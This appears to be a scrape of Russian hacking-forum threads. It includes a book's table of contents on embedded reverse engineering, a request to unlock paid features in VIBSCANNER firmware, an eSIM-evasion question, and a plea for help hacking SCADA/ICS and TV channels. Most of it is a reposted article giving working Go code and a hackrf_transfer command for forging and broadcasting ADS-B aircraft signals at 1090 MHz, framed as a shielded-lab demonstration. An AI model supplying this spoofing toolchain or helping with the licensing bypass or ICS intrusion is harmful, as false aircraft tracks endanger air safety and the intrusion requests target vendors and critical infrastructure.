Created: 2023-09-08T06:58:03+0000
Last Post: 2023-09-08T16:39:24+0000
Author: handersen
Prefix: Мануал/Книга
Replies: 3 Views: 620

re-embedded.jpg

Книга Алексея Усанова по реверс инжинирингу встраиваемых систем, ISBN: 978-5-93700-231-0.

Spoiler: Оглавление

Intro (Зачем исследовать встраиваемые системы?) ................................... 8
Background: особенности цифровых электрических сигналов ............... 12
Кодирование цифровых сигналов ...................................................................13
Синхронизация сигналов.................................................................................15
Параллельные и последовательные интерфейсы ..........................................20
Механизмы детектирования, снижения и исправления ошибок
передачи......................................................................................................22
Level 0. Первичный анализ .......................................................................... 23
Сбор информации ............................................................................................23
Инженерный анализ устройства .....................................................................24
Вскрываем корпус и разбираем устройство ......................................................... 26
Из чего состоит плата устройства? ....................................................................... 29
Описание процесса производства цифрового устройства .................................. 33
Маркировка компонентов на плате устройства .................................................. 35
«Прозвонка» платы устройства ............................................................................. 37
Микроконтроллер .................................................................................................. 39
Память..................................................................................................................... 41
FPGA ........................................................................................................................ 50
Модули связи + антенны ........................................................................................ 52
Менее интересные компоненты ........................................................................... 54
SoM, SoC, SiP и другие типы компоновки ............................................................. 57
Интерфейсы связи компонентов .......................................................................... 60
Отладочные и диагностические интерфейсы ...................................................... 75
Хардкор – рентген .................................................................................................. 83
Level Up! .............................................................................................................84
Level 1. Добываем прошивку ....................................................................... 87
Считывание из ПЗУ ..........................................................................................87
Сниффинг интерфейсов ...................................................................................93
Считывание через отладочные интерфейсы ..................................................96
JTAG..... .................................................................................................................... 96
ARM Debug Interface и интерфейс SWD ..............................................................103
Считывание прошивки с помощью OpenOCD и SWD........................................113
Считывание прошивки с помощью Segger J-Link и JTAG ..................................121
Механизмы защиты от считывания....................................................................125
Считывание через диагностические интерфейсы .......................................127
Препарирование обновлений ........................................................................128
Неинвазивные атаки ......................................................................................130
Атаки на синхронизацию (CLK-glitch) ................................................................132
Атаки «по питанию» (VCC-glitch) ........................................................................135
Атаки электромагнитным импульсом (EMFI) ....................................................137
Атаки оптическим импульсом (LFI) ....................................................................141
Side-Channel атаки ...............................................................................................143
Хардкор – инвазивные атаки .........................................................................148
Восстановление ROM ...........................................................................................150
Микрозондовый анализ .......................................................................................152
Модификация кристалла микросхемы ...............................................................153
Хардкор – услуги на китайских форумах ......................................................153
Level Up! ...........................................................................................................154
Level 2. Начинаем статический анализ .....................................................155
Архитектурные подходы проектирования ЭВМ...........................................156
Гарвардская архитектура .....................................................................................156
Архитектура фон Неймана ..................................................................................157
Модифицированная гарвардская архитектура ..................................................158
Системы команд RISC и CISC .............................................................................158
Архитектура, микроархитектура и система команд..........................................159
Распространенные архитектуры .........................................................................161
Процесс разработки и производства микроконтроллера .................................167
Определение архитектуры и системы команд ядра микроконтроллера ...170
По документации на чип .....................................................................................172
По кодам основных инструкций .........................................................................173
Хардкор – восстановление неизвестной системы команд ................................176
Реверс-инжиниринг прошивки FPGA ...........................................................176
Подготовка прошивки к дизассемблированию ............................................177
Выделение образа прошивки из образа ПЗУ......................................................177
Определение структуры прошивки ....................................................................181
Сжатая или зашифрованная прошивка ..............................................................184
Структура адресного пространства микроконтроллера ..............................185
Карта памяти микроконтроллера .......................................................................188
Декодеры адресного пространства и банки памяти ..........................................193
Межъядерное взаимодействие............................................................................193
Определение адреса загрузки прошивки .....................................................194
Статические ссылки .............................................................................................194
Прерывания ..........................................................................................................195
Ошибки при загрузке в дизассемблер ................................................................197
Что стоит искать в дизассемблированном коде прошивки в первую
очередь ......................................................................................................197
Строки (если они есть) .........................................................................................198
Константы .............................................................................................................198
Обработчики интерфейсов и взаимодействие с аппаратными регистрами ...204
Главный цикл ........................................................................................................208
Виды организаций прошивок и embedded ОС .............................................209
Загрузчик (Bootloader) .........................................................................................209
Bare-metal .............................................................................................................211
Real-time OS (RTOS) ..............................................................................................212
Embedded Linux ....................................................................................................214
Windows CE, Embedded и IoT ...............................................................................214
Эмуляция .........................................................................................................215
QEMU .....................................................................................................................215
Unicorn Engine ......................................................................................................215
Level Up! ...........................................................................................................216
Level 3. Настраиваем связь с внешним миром
(динамический анализ)
..............................................................................217
Динамический анализ ....................................................................................217
Собираем стенд для отладки .........................................................................217
Оснастки и 3D-печать ..........................................................................................218
Автоматизация рутинных действий ...................................................................220
Адаптеры и эмуляция ПЗУ ..................................................................................222
Используем отладочные интерфейсы ...........................................................224
UART и трассировка ........................................................................................233
Используем логический анализатор и осциллограф ...................................234
Хардкор – нестандартные подходы к получению информации .................235
Мигаем светодиодом ...........................................................................................235
Отладка через шину SPI .......................................................................................236
Отладка задержками и зависанием ....................................................................237
Анализ содержимого ОЗУ ....................................................................................238
MITM .....................................................................................................................241
Получение информации по беспроводным протоколам.............................242
SDR... .....................................................................................................................242
Flipper Zero............................................................................................................244
Разрабатываем патч прошивки .....................................................................245
Level Up! ...........................................................................................................252
Level 4. Механизмы защиты встраиваемых систем ................................254
Контрольные суммы прошивки ....................................................................254
Криптографическая подпись прошивки.......................................................256
Доверенная загрузка устройства ...................................................................259
Шифрованные обновления ............................................................................260
Аппаратная поддержка механизмов защиты...............................................261
Датчики на вскрытие корпуса (тамперы)...........................................................261
Криптопамять и Secure Element ..........................................................................262
Trusted Execution Environment ............................................................................265
SRAM PUF ..............................................................................................................269
Watchdog..........................................................................................................270
Level Up! ...........................................................................................................272
Well Done ......................................................................................................273
Приложение .................................................................................................276
Рабочее место .................................................................................................276
Полезные ручные инструменты ....................................................................277
Микроскоп ......................................................................................................281
Мультиметр .....................................................................................................281
Отладчики .......................................................................................................282
Программаторы микросхем памяти .............................................................283
Логический анализатор .................................................................................284
Осциллограф ...................................................................................................285
Конвертеры интерфейсов (USB 2 everything) ................................................285
Отладочные платы..........................................................................................286
SDR ...................................................................................................................288
Все для пайки ..................................................................................................288
Используемое для исследований ПО .........................................................291
Список использованных источников ........................................................293

NEC/Renesans V850
ID: 676535aeb4103b69df37359c
Thread ID: 103474
Created: 2023-12-04T11:40:29+0000
Last Post: 2023-12-05T02:02:44+0000
Author: Bizonozubr
Replies: 6 Views: 613

Здравствуйте, дорогие форумчане! У меня появился вопрос после долгих попыток понять внутренности прошивки одного устройства. Опишу кратко, что к чему.
Ко мне в телеграмм недавно обратился человек, у которого возникла следующая проблема. Имеется прибор VIBSCANNER (старой версии V1) производителя PRÜFTECHNIK. Данный аппарат имеет в себе много функций, которые открываются после ввода специального кода, который можно приобрести у производителя.
photo_1.jpg
Человек поделился файлами установщиков, один из которых содержит прошивку, а другой программу для прошивки ( vibscanner_updatetool289.exe и VIBSCANNER_firmware202_350.exe в архиве Vibscanner.dat.zip). Update tool написан на старом VB, из интересного только библиотека ptvbcomm.dll, которая содержит методы для подключения к устройству и определения версии прошивок.
Прошивка VSC_350.hex (убрать расширение txt) представляет из себя простой файл формата SREC. Ida PRO с ним справляется, но вот внятного я там ничего не увидел.
По анализу полученного файла можно понять, что чип производства NEC. Чтобы точно убедиться, попросил разобрать прибор и сфотать.
photo_2.jpg
NEC D70F3017AGC ES1.1 ( [http://bitsavers.informatik.uni- stu...EJ3V0UM00_V850_Family_UM_Architecture_3ed.pdf](http://bitsavers.informatik.uni- stuttgart.de/components/nec/V850/U10243EJ3V0UM00_V850_Family_UM_Architecture_3ed.pdf) и <https://www.renesas.com/eu/en/document/mah/v850-familytm- architecture?language=en> )
Вроде и понятно, что загрузка идёт с 0 адреса, что первая половина файла инструкции, а вторая часть - данные в ROM. Вроде и строки с наименованием меню нашлись, но нет никакой связи с инструкциями из первой половины файла.
Полученный разметкой файл базы данных ida приложил в архив VSC_350.hex.zip. Подскажите, в какую сторону копать.

Из последнего что подобное про взлом V850 помню только историю с взломом мультимедиа на автомобилях - https://illmatics.com/Remote Car Hacking.pdf , но предлагаемые там подсказки в преобразование функций по маске мне не помогли. Переписанный под Python 3 скрипт для Ida приложил (myscript.txt).

E-sim установка
ID: 676535aeb4103b69df373645
Thread ID: 54583
Created: 2021-07-30T06:42:48+0000
Last Post: 2021-07-30T08:09:33+0000
Author: Cripo
Replies: 4 Views: 612

Собственно вопрос такой....
1.Как установить еу e-sim на территории снг?
2.Как он палиться в телефоне с местынми опсосами(пример.оригинал карта РУ оператора,е-сим румынский)?

SCADA/ICS и TV канал хакинг/взлом
ID: 676535aeb4103b69df373594
Thread ID: 105342
Created: 2024-01-08T16:34:51+0000
Last Post: 2024-01-08T21:06:34+0000
Author: anonx
Replies: 2 Views: 601

кто-нибудь может помочь мне, как разобраться во взломе SCADA/ICS и взломе TV каналов?
С чего начать?
есть предложение/мануал?
Просто поделитесь со мной навыки без негативов.
Спасибо

Разговоры в небе. Как самолеты передают данные по ADS-B
ID: 676535aeb4103b69df373583
Thread ID: 108339
Created: 2024-02-15T21:32:07+0000
Last Post: 2024-03-05T04:03:44+0000
Author: tabac
Prefix: Статья
Replies: 2 Views: 599

Современные самолеты непрерывно передают друг другу телеметрию по протоколу ADS-B. В этой статье мы с тобой сделаем собственный воображаемый самолет, чтобы посмотреть, как работает передача данных. Конечно, будем при этом соблюдать все законы и правила безопасности.

В прошлой статье я уже говорил, что ADS-B — это часть большого протокола Mode S, который активно используется для идентификации и отслеживания воздушных судов. ADS-B позволяет отслеживать летательные аппараты, на которых установлен специальный транспондер. Он регулярно передает данные о самолете: высоту, координаты, скорость и многое другое. Принять их может любой желающий, так как никакой защиты или шифрования в протоколе не предусмотрено.

На этот раз мы полностью сосредоточимся на передаче своего сигнала ADS-B. Чтобы никому не помешать, принимать мы его тоже будем на свой приемник. Учти: это вовсе не пособие по оснащению самолетов транспондерами. Скорее мы будем использовать этот любопытный пример для демонстрации того, как кто‑то может разобрать и подделать любой незащищенный сигнал.

ТЕСТОВЫЙ ПОЛИГОН​

Тестовое окружение необходимо, чтобы видеть, что мы делаем, но при этом не влиять на оборудование аэропортов. Вряд ли они оценят наши эксперименты! Зато ущерб вполне могут оценить, а сумму выставить к оплате. Чтобы этого избежать, я взял два SDR и использовал на минимальной мощности в экранирующем помещении. К тому же сигналы на частотах около 1 ГГц, которые я использовал, практически не распространяются за горизонт.

В моем распоряжении оказались два неплохих и довольно популярных SDR: HackRF и BladeRF. Первый я буду использовать как передатчик, а второй — как приемник. Программную часть приема сделаем с помощью уже знакомой из прошлой статьи программы dump1090, которая умеет парсить сигналы Mode S (частью которого и является ADS-B) в реальном времени и выводить их в читаемом формате.

Схема установки будет выглядеть примерно так.
![Схема лаборатории](/proxy.php?image=https%3A%2F%2Fstatic.xakep.ru%2Fimages%2F0511eaaf08a071bf505cbbb905ddba7f%2F34362%2Floop- scheme.png&hash=a0aa04dd91f8c6e5f2c60e2c90ae8b6f)
Для стабильной работы на оба SDR нужно накрутить любую штыревую антенну, так как без нее ничего работать не будет или будет, но очень‑очень плохо.

Настройка BladeRF​

Пошаговую настройку BladeRF для приема мы уже разбирали в прошлой статье. Если ты повторял за мной, то у тебя уже есть утилита dump1090 и нужная прошивка в SDR. В таком случае этот раздел можно пропустить.

С заводской прошивкой BladeRF не умеет работать с dump1090 — придется их подружить вручную. Первым шагом будет скачивание прошивки, совместимой с ADS-B, с официального сайта разработчика:

Code:Copy to clipboard

wget https://www.nuand.com/fpga/adsbxA4.rbf

После этого сразу же загружаем скачанный файл в BladeRF:

Code:Copy to clipboard

bladerf-cli -i adsbxA4.rbf

Дальше нам надо установить еще две программы: bladeRF-adsb и саму dump1090. Первая нужна просто для того, чтобы транслировать данные с SDR напрямую в dump1090.

Скачиваем и собираем dump1090:

Code:Copy to clipboard

git clone https://github.com/mutability/dump1090.git
cd dump1090
make
./dump1090 --net-only --raw --interactive

После запуска dump1090 переходим к мосту:

Code:Copy to clipboard

git clone https://github.com/Nuand/bladeRF-adsb
cd bladeRF-adsb/bladeRF_adsb
wget http://nuand.com/fpga/adsbx40.rbf
wget http://nuand.com/fpga/adsbx115.rbf
make
./bladeRF_adsb

Теперь, когда все готово для приема и декодирования сигналов ADS-B, уже можно принять какие‑то сигналы от самолетов (да, даже в комнате), особенно если самолет близко или если у тебя хорошая антенна.

ViralAir​

Чтобы генерировать свои сообщения ADS-B, я создал утилиту ViralAir и выложил ее на GitHub. Чтобы повторять за мной, скачай и скомпилируй ее:

Code:Copy to clipboard

git clone https://github.com/st3rv04ka/ViralAir
cd ViralAir
go build cmd/viralair/main.go

После сборки появится файл main, который и будет генерировать готовый для передачи файл. Формат этого файла полностью подходит для HackRF, но может быть совместим и с другими SDR (я не проверял). Чтобы проверить, что все хорошо, можно создать тестовый самолет с позывным 0xDEADBE на высоте 9999 футов следующей командой:

Code:Copy to clipboard

./main -altitude 9999.0 --icao 0xDEADBE

В текущей директории должен появиться файл Samples.iq8s. Если он действительно есть, значит, все работает и можно продолжать.

СТРУКТУРА ADS-B​

Подготовка​

Давай немного освежим знания про структуру сообщения ADS-B из прошлой статьи. Сообщение может быть разной длины — 56 либо 112 бит. От длины зависит тип передаваемой информации, а сам тип записывается в поле TC (Type Code) сообщения. Обычное 112-битное сообщение выглядит следующим образом.

Как ты мог заметить, никакого поля TC тут нет — и все верно, оно спрятано внутри поля ME. Дело в том, что ADS-B — это всего лишь часть большого протокола Mode S, и выше представлена структура именно сообщения Mode S, в то время как все специфичные для ADS-B поля находятся внутри поля данных (ME) Mode S.

Давай освежим в памяти назначение остальных полей пакета:

CPR​

Возможно, ты читал прошлую статью и еще помнишь, как я мучился с CPR и упрощенными картами для передачи в маленьких сообщениях. Из‑за этих карт в ADS-B есть два вида сообщений с координатами: четное и нечетное, и, только имея оба сообщения, можно определить точную локацию самолета. Создавать такие пакеты еще сложнее, чем принимать.

Давай пробежимся по моему коду на Go, который переводит координаты с CPR:

Git:Copy to clipboard

func nl(declatIn float64) float64 {
  // Близко к полюсам секторов мало, возвращаем всего один
    if math.Abs(declatIn) >= 87.0 {
        return 1.0
    }
    return math.Floor(
        (2.0 * math.Pi) * math.Pow(
            math.Acos(1.0 -
                (1.0-math.Cos(math.Pi/(2.0*latz)))
                / math.Pow(math.Cos((math.Pi/180.0) * math.Abs(declatIn)), 2)),
        -1))
}
func dlon(declatIn float64, ctype int, surface int) float64 {
    var tmp float64
    if surface == 1 {
        tmp = 90.0
    }
    else
    {
        tmp = 360.0
    }
    nlcalc := math.Max(nl(declatIn)-float64(ctype), 1)
    return tmp / nlcalc
}
// Кодируем в CPR
func CprEncode(lat float64, lon float64, ctype int, surface int) (int, int) {
    var scalar float64
    if surface == 1 {
        scalar = math.Pow(2, 19)
    } else {
        scalar = math.Pow(2, 17)
    }
    dlati := dlat(ctype, surface)
    yz := math.Floor(scalar*((math.Mod(lat, dlati))/dlati) + 0.5)
    dloni := dlon(lat, ctype, surface)
    xz := math.Floor(scalar*((math.Mod(lon, dloni))/dloni) + 0.5)
    return int(yz) & ((1 << 17) - 1), int(xz) & ((1 << 17) - 1)
}

Да, в этом коде черт ногу сломит, но на самом деле за сложной математикой стоят довольно простые алгоритмы.

Начнем по порядку, с функции nl(). Она рассчитывает количество зон на заданной нами широте. Логика простая: чем ближе к полюсам, тем меньше зон заданного размера поместится на одной широте. Вот так выглядят реальные зоны в CPR.
Карта зон в CPR
Чтобы не морочить себе голову сложной математикой, при широте больше 87 градусов будем возвращать количество делений равное единице. Формула для расчета взята из официальной документации к протоколу, и в самом документе она выглядит довольно страшно.

Формула для расчета количества зон
После nl() идет функция dlon(). Количество делений на широте у нас уже есть, а теперь нужно рассчитать интервал, чтобы равномерно распределить эти деления по кругу и чтобы все они были одинаковыми. При этом важно учитывать, где находится самолет, — на земле или в воздухе. Если самолет в воздухе, мы делим 360 на количество интервалов минус тип сообщения (even или odd). Полученный результат возвращается в конце функции. Функция dlat() делает плюс‑минус то же самое для долготы, так что не будем останавливаться на ней отдельно.

Теперь перейдем к основной функции расчета CPR. После получения количества зон можно рассчитать непосредственно координаты самолета. Для этого учтем множитель, который можно найти в документации протокола (он скрыт глубоко в формулах). Для воздуха он будет равен 217, а для земли — 219.

Формула для воздуха
Формула для земли
Полученное после кодирования число нужно сжать до 17 бит, что и делается при возврате результатов из функции.

PI​

Если ты выдохнул с мыслью, что все сложное уже позади, вдыхай обратно! Вторая сложность при передаче своих сигналов — это расчет контрольной суммы (CRC), или parity bits. Нужно посчитать и добавить в конец сообщения 24 бита, которые используются для проверки целостности сообщения. Именно на них ориентируется, например, dump1090. Загвоздка в том, что формула для расчета выглядит так.
Алгоритм подсчета parity bits
В псевдокоде эта функция выглядит примерно так:

Code:Copy to clipboard

generator = 1111111111111010000001001
# 11 + 3 нулевых байта
data_hex = 8D406B902015A678D4D220[000000]
# 88 бит
data = 1000110101000000011010 1110010000001000000001
       0101101001100111100011 0101001101001000100000
      [000000000000000000000000]  # 24 бита
FOR i FROM 0 TO (112-24):
  IF data[i] IS 1:
    data[i:i+24] = data[i:i+24] XOR generator
remainder = data[-24:]
# Результат: 101010100100101111011010, или AA4BDA в HEX

Генератор — это константа, которую нашли специально для этого алгоритма и которая наиболее эффективна. В цикле мы просто проходим по всем битам от 0 до 88 (112 минус 24, потому что последние 24 бита мы сейчас и заполняем) и применяем исключающее ИЛИ с генератором. Полученные 24 бита нужно добавить к нашему сообщению, чтобы у нас был законченный пакет данных. Вот как я это сделал в ViralAir:

Code:Copy to clipboard

const ( GENERATOR = "1111111111111010000001001" )
func Crc(msg string, encode bool) string {
    msgbin := []rune(misc.Hex2bin(msg))
    generator := []int{}
    for _, char := range GENERATOR {
        generator = append(generator, int(char-'0'))
    }
    if encode {
        for i := len(msgbin) - 24; i < len(msgbin); i++ {
            msgbin[i] = '0'
        }
    }
    for i := 0; i < len(msgbin)-24; i++ {
        if msgbin[i] == '1' {
            for j := range generator {
                msgbin[i+j] = rune('0' + (int(msgbin[i+j]-'0') ^ generator[j]))
            }
        }
    }
    reminder := string(msgbin[len(msgbin)-24:])
    return reminder
}

Реализация на Go похожа на наш псевдокод, так что разбирать подробно ее не буду.

Собираем всё вместе​

Теперь, когда у нас есть все служебные функции, можно создавать пакет! Начинается всё с кодирования высоты, за это отвечает функция encodeAltModes().

Code:Copy to clipboard

// Encode altitude
func encodeAltModes(alt float64, surface int) int {
    mbit := 0
    qbit := 1
    encalt := int((int(alt) + 1000) / 25)
    var tmp1, tmp2 int
    if surface == 1 {
        tmp1 = (encalt & 0xfe0) << 2
        tmp2 = (encalt & 0x010) << 1
    } else {
        tmp1 = (encalt & 0xff8) << 1
        tmp2 = 0
    }
    return (encalt & 0x0F) | tmp1 | tmp2 | (mbit << 6) | (qbit << 4)
}

В зависимости от высоты применяются разные делители. Для обычных самолетов — 25, но есть и другие, например 100. Они нужны для самолетов, которые летают выше, чем обычные. За выбор делителя отвечает параметр qbit. Смысл делителя — указать, какого размера взят интервал для высоты.

Поскольку указывать высоту в нормальных величинах, а не в футах — это слишком просто, авторы протокола придумали делить высоту на интервалы по N футов и указывать номер такого интервала, а N — это и есть наш делитель (сколько футов в одном интервале). Делитель в 25 футов для нашего самолета дает точность около 7,6 метра.

По поводу самого qbit документация протокола говорит следующее:

This field will contain barometric altitude encoded in 25 or 100-foot increments (as indicated by the Q Bit). All zeroes in this field will indicate that there is no altitude data.

Click to expand...

То есть если qbit установить в 0, то делитель станет равным 100, что бывает полезно, если высота слишком большая и ее сложно уместить в сообщение. В ViralAir предусмотрен только делитель 25, хотя добавить 100 можно довольно легко — попробуй реализовать это сам на досуге!

Результат работы функции для высоты в 9999 футов ты можешь увидеть ниже:

Code:Copy to clipboard

2024/01/15 03:40:37 [+] Encode altitude [9999.000000] with the surface flag [0]
2024/01/15 03:40:37 [+] Encoded altitude [0x377]

Следующая задача — создать два сообщения (even и odd), и начнем мы с even. Первая часть любого сообщения ADS-B — это его тип. DF (тип сообщения Mode S) для ADS-B всегда равен 17, так что это константа в коде, а после него идут CA (уровень транспондера) и ICAO (номер самолета). CA и ICAO можно задать свои как аргументы при запуске ViralAir.

Code:Copy to clipboard

// Format + CA + ICAO
dataEven = append(dataEven, byte((format<<3)|ca))
dataEven = append(dataEven, byte((icao>>16)&0xff))
dataEven = append(dataEven, byte((icao>>8)&0xff))
dataEven = append(dataEven, byte((icao)&0xff))

Теперь добавим к фрейму долготу, широту и высоту:

Code:Copy to clipboard

// Even
log.Printf("[+] Encode even frame with lat [%f] and lon [%f]", lat, lon)
evenLat, evenLon := cpr.CprEncode(lat, lon, 0, surface)
log.Printf("[+] Encoded even frame lat [0x%02x] and lon [0x%02x]", evenLat, evenLon)
// Odd
log.Printf("[+] Encode odd frame with lat [%f] and lon [%f]", lat, lon)
oddLat, oddLon := cpr.CprEncode(lat, lon, 1, surface)
log.Printf("[+] Encoded odd frame lat [0x%02x] and lon [0x%02x]", oddLat, oddLon)

При запуске программы закодированные значения выводятся в консоль:

Code:Copy to clipboard

./main -altitude 9999.0 -icao 0xDEADBE -latitude 11.33 -longitude 11.22
<...>
2024/01/15 03:40:37 [+] Encode even frame with lat [11.330000] and lon [11.220000]
2024/01/15 03:40:37 [+] Encoded even frame lat [0x1c6d4] and lon [0x19d86]
2024/01/15 03:40:37 [+] Encode odd frame with lat [11.330000] and lon [11.220000]
2024/01/15 03:40:37 [+] Encoded odd frame lat [0x1b6b6] and lon [0x18d91]
<...>

Байты для обоих пакетов готовы, добавляем их к нашему фрейму:

Code:Copy to clipboard

// Lat + Lot + Alt (even)
dataEven = append(dataEven, byte((tc<<3)|(ss<<1)|nicsb))
dataEven = append(dataEven, byte((encAlt>>4)&0xff))
dataEven = append(dataEven, byte((encAlt&0xf)<<4|(time<<3)|(ff<<2)|(evenLat>>15)))
dataEven = append(dataEven, byte((evenLat>>7)&0xff))
dataEven = append(dataEven, byte(((evenLat&0x7f)<<1)|(evenLon>>16)))
dataEven = append(dataEven, byte((evenLon>>8)&0xff))
dataEven = append(dataEven, byte((evenLon)&0xff))

Данные фрейма готовы, осталось дописать к ним контрольную сумму.

Code:Copy to clipboard

// Convert to hex
var sbEven strings.Builder
for _, b := range dataEven[:11] {
    sbEven.WriteString(fmt.Sprintf("%02x", b))
}
dataEvenString := sbEven.String()
log.Printf("[+] Even frame without CRC [%s]", dataEvenString)
// Calculate CRC
dataEvenCRC := misc.Bin2int(crc.Crc(dataEvenString+"000000", true))
log.Printf("[+] Even data CRC [%02x]", dataEvenCRC)
// Append CRC
dataEven = append(dataEven, byte((dataEvenCRC>>16)&0xff))
dataEven = append(dataEven, byte((dataEvenCRC>>8)&0xff))
dataEven = append(dataEven, byte((dataEvenCRC)&0xff))
log.Printf("[+] Even data [%02x]", dataEven)

После этого в терминал вывалится полный фрейм Mode S, который можно использовать как угодно: передать, декодировать онлайн или даже распечатать и повесить на стенку.

Code:Copy to clipboard

2024/01/15 03:40:37 [+] Even data [8ddeadbe5837738da99d861b04b3]
2024/01/15 03:40:37 [+] Odd data [8ddeadbe5837776d6d8d9121b103]

От отправки сигнала нас отделает всего одна мелочь: нужно смодулировать наш сигнал.

ПЕРЕДАЧА​

Модуляция​

Чтобы передать наши байты в эфир, нужно преобразовать их в формат, который поймет HackRF. Формат очень простой: нужно закодировать все байты в комплексные числа и сохранить их в файл.

Для ADS-B применяется манчестерское кодирование, то есть единица кодируется как 01, а ноль как 10. Чтобы лучше это понять, посмотри на картинку ниже.
Кодирование битов
То есть нужно двоичное представление каждого байта закодировать по описанной выше схеме — и дело в шляпе. Все это базовые операции с числами, которые можно легко сделать на любом языке. Ниже — моя реализация на Go.

Code:Copy to clipboard

func Frame1090esPpmModulate(even, odd []byte) []byte {
    var ppm []byte
    for i := 0; i < 48; i++ {
        ppm = append(ppm, 0)
    }
    ppm = append(ppm, 0xA1, 0x40)
    for _, byteVal := range even {
        word16 := misc.Packbits(manchesterEncode(^byteVal))
        ppm = append(ppm, word16[0])
        ppm = append(ppm, word16[1])
    }
    for i := 0; i < 100; i++ {
        ppm = append(ppm, 0)
    }
    ppm = append(ppm, 0xA1, 0x40)
    for _, byteVal := range odd {
        word16 := misc.Packbits(manchesterEncode(^byteVal))
        ppm = append(ppm, word16[0])
        ppm = append(ppm, word16[1])
    }
    for i := 0; i < 48; i++ {
        ppm = append(ppm, 0)
    }
    return ppm
}

Нужно только не забыть о наличии преамбулы — специальной последовательности битов в начале фрейма, по которой приемник определяет начало сообщения. В нашем случае это 0xA1 0х40, что соответствует преамбуле Mode S.

Полученные биты нужно модулировать в PPM. Как работает PPM и чем отличается от других способов модуляции, наглядно видно на картинке ниже.

PPM- модуляция
Только вот кодировать мы будем не аналоговый сигнал, а уже готовый цифровой, то есть представлять наш сигнал в виде комплексных чисел. Углубляться во все их тонкости мы сейчас не станем, поскольку для наших задач нужно только два таких числа, с которыми мы даже не будем производить никаких расчетов. Комплексное число состоит из двух компонент (I и Q), которые для бита с высоким уровнем мы установим в максимальное значение, а для низкого — в минимальное:

Code:Copy to clipboard

func GenerateSDROutput(ppm []byte) []byte {
    bits := misc.Unpackbits(ppm)
    var signal []byte
    for _, bit := range bits {
        var I, Q byte
        if bit == 1 {
            I = byte(127)
            Q = byte(127)
        }
        else
        {
            I = 0
            Q = 0
        }
        signal = append(signal, I, Q)
    }
    return signal
}

Теперь записываем результат в файл и получаем наш заветный Samples.iq8s.

В эфир​

Ну вот, теперь можешь выдыхать с облегчением. После сборки тестового стенда, генерации файла с сигналом и настройки всего оборудования мы наконец‑то можем передать данные о нашем самолете самим себе!

Включаем прием, как описано в начале, и передаем сигнал через HackRF:

Code:Copy to clipboard

~/P/ViralAir (main)> hackrf_transfer -t Samples.iq8s -f 1090000000 -s 2000000 -x 47 -R
call hackrf_set_sample_rate(2000000 Hz/2.000 MHz)
call hackrf_set_hw_sync_mode(0)
call hackrf_set_freq(1090000000 Hz/1090.000 MHz)
Stop with Ctrl-C
 3.9 MiB / 1.000 sec =  3.9 MiB/second, average power -6.5 dBfs
 3.9 MiB / 1.000 sec =  3.9 MiB/second, average power -6.5 dBfs
 3.9 MiB / 1.000 sec =  3.9 MiB/second, average power -6.5 dBfs
 4.2 MiB / 1.000 sec =  4.2 MiB/second, average power -6.5 dBfs

Аргумент -t — это файл с сигналом, который мы сгенерировали; -f задает частоту передачи (для ADS-B это 1090 МГц, или 1 090 000 000 Гц), а -s — частоту дискретизации. Последние два аргумента отвечают за мощность передачи и ее зацикливание. Зачем зацикливать? Ведь у нас всего два сообщения, и сразу после окончания передачи они пропадут из окна dump1090.
Давай теперь взглянем на приемник!
Вывод dump1090
В таблице виден наш самолет DEADBE! Он летит на высоте 9975 футов (сказывается неточность кодирования высоты), и его даже можно найти на карте.

Прямо сейчас он летит за тобой где‑то над Нигерией.

Источник xakep.ru
Автор @qeewqq
t.me/qeewqw

Установка srsLTE на LimeSDR-USB
ID: 676535aeb4103b69df3735f0
Thread ID: 83670
Created: 2023-03-12T20:19:25+0000
Last Post: 2023-03-18T10:00:05+0000
Author: DrClinker
Prefix: GSM
Replies: 7 Views: 596

Сначала устанавливаю SoapySDR из исходников, как я понял через apt-get можно установить SoapySDR только версии 0.7, попытка запуска srsLTE с этой версией SoapySDR заканчивается неудачей.

Code:Copy to clipboard

sudo add-apt-repository -y ppa:pothosware/framework
sudo add-apt-repository -y ppa:pothosware/support
sudo add-apt-repository -y ppa:myriadrf/drivers
sudo apt-get update

#install SoapySDR

sudo apt-get install cmake g++ libpython-dev python-numpy swig

sudo apt-get install cmake g++ libpython3-dev python3-numpy swig

sudo apt-get install python3-pip
sudo pip3 install multidict
sudo pip3 install typing_extensions
sudo pip3 install attr
sudo pip3 install yarl
sudo pip3 install async_timeout
sudo pip3 install idna_ssl
sudo pip3 install charset_normalizer
sudo pip3 install aiosignal
sudo pip3 install disutils

git clone https://github.com/pothosware/SoapySDR.git
cd SoapySDR

mkdir build
cd build
cmake ..
make -j4
sudo make install
sudo ldconfig
SoapySDRUtil --info

Далее ставлю LimeSuite из сорцев

Code:Copy to clipboard

sudo apt-get install git g++ cmake libsqlite3-dev

sudo apt-get install libsoapysdr-dev libi2c-dev libusb-1.0-0-dev

sudo apt-get install libwxgtk3.0-dev freeglut3-dev

git clone https://github.com/myriadrf/LimeSuite.git
cd LimeSuite
git checkout stable
mkdir builddir && cd builddir
cmake ../
make -j4
sudo make install
sudo ldconfig

cd LimeSuite/udev-rules
sudo ./install.sh

Spoiler: Вывод SoapySDRUtil --info

1678649939983.png

Spoiler: Вывод LimeUtil --info

1678650482068.png

Spoiler: Вывод LimeUtil --timing

Connected to [LimeSDR-USB, media=USB 3.0, module=FX3, addr=1d50:6108, serial=00090726074D3135]
Creating instance of LMS7002M:

Timing basic operations:

SPI write register: 982.012 us
SPI read register: 641.049 us
TSP NCO setting: 4900.08 us
RFE gain setting: 1442.02 us
TRF gain setting: 2960.19 us

Timing tuning operations:

CGEN PLL tuning: 41.1905 ms
RF PLL tuning: 119.182 ms
TBB filter tuning: 136.807 ms
RBB filter tuning: 253.315 ms
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
Tx Calibration: MCU error 5 (Loopback signal weak: not connected/insufficient gain?)
